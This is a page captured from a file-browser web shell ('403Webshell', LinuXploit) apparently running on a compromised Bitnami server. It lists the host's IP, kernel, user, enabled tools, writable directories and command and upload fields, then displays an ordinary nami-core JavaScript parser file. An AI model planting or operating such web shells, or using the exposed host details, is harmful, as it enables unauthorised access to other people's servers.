403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/nami/node_modules/nami-core/lib/components/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/nami/node_modules/nami-core/lib/components/component-parser.js
'use strict';

const _ = require('nami-utils/lodash-extra.js');
const Parser = require('cmd-parser').Parser;

class ComponentParser extends Parser {
  constructor(obj, options) {
    options = _.defaults(options || {}, {addCommands: true});
    super({throwOnExit: true, allowProcessExit: false});

    const _this = this;

    this.enableOptionFile({cliName: 'inputs-file', description: 'JSON file containing a map of command line flags'});

    this.metadataObject = obj;
    const isInstalled = obj.lifecycle === 'installed';
    this.toolName = options.toolName || this.metadataObject.id;
    _.each(obj.getOptions(), function(opts, key) {
      const snakeCasedKey = _.snakeCase(key);
      const globalName = `component.${obj.id}.${snakeCasedKey}`;
      if (opts.required && isInstalled) {
        opts.required = false;
      }
      const optionOpts = _.defaults({alias: globalName, envvar: globalName.toUpperCase().replace(/[.-]/g, '_')}, opts);
      optionOpts.callback = function(option) {
        obj[key] = option.value;
      };
      _this.addOption(optionOpts);
    });
    if (options.addCommands) {
      this.addCommands();
    }
  }
  _getJsonData(jsonFile) {
    const data = super._getJsonData(jsonFile);
    return _.mapValues(data, value => this.metadataObject.subst(value));
  }
  addCommands() {
    const obj = this.metadataObject;
    _.each(obj.getExports(), (data, cmd) => {
      data = data || {};
      const cmdDefinition = _.opts(data, {name: cmd});
      if (data.arguments) {
        cmdDefinition.namedArgs = data.arguments;
        cmdDefinition.minArgs = data.arguments.length;
        cmdDefinition.maxArgs = data.arguments.length;
      }
      this.addCommand(cmdDefinition, data.options);
    });
  }
}

module.exports = ComponentParser;

Youez - 2016 - github.com/yon3zu
LinuXploit